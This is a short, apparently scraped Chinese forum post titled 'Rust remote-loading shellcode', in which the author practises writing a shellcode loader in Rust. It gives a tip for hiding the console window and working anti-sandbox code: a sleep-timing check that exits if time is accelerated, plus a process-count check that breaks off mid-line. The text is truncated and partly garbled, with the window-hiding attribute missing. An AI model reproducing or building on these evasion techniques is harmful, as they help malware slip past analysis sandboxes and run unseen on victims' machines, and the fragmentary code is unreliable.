盛世宏图 发表于 2025-1-4 20:31:27

Rust远程加载shellcode

学习rust, 练习写一个loader, 不足之处还请指教
编写

隐藏黑框

在注释掉所有打印语句后编译运行还是会弹黑框, 办理方法是头部添加一行(指定 Rust 编译器生成的可执行文件为 Windows 子体系应用步伐,而不是控制台应用步伐):
#!‍
反沙箱

流速检测
pub fn ft() {
    use std::time::{Duration, Instant};
    use std::thread::sleep;

    let start_time = Instant::now();

    sleep(Duration::from_millis(5000));

    let elapsed_time = start_time.elapsed();

    if elapsed_time.as_millis() < 5000 {
      std::process::exit(1);
    }
}检查历程数
pub fn pc() {    let mut system = System::new_all();    system.refresh_all();    let process_count = system.processes().len();    if process_count
页: [1]
查看完整版本: Rust远程加载shellcode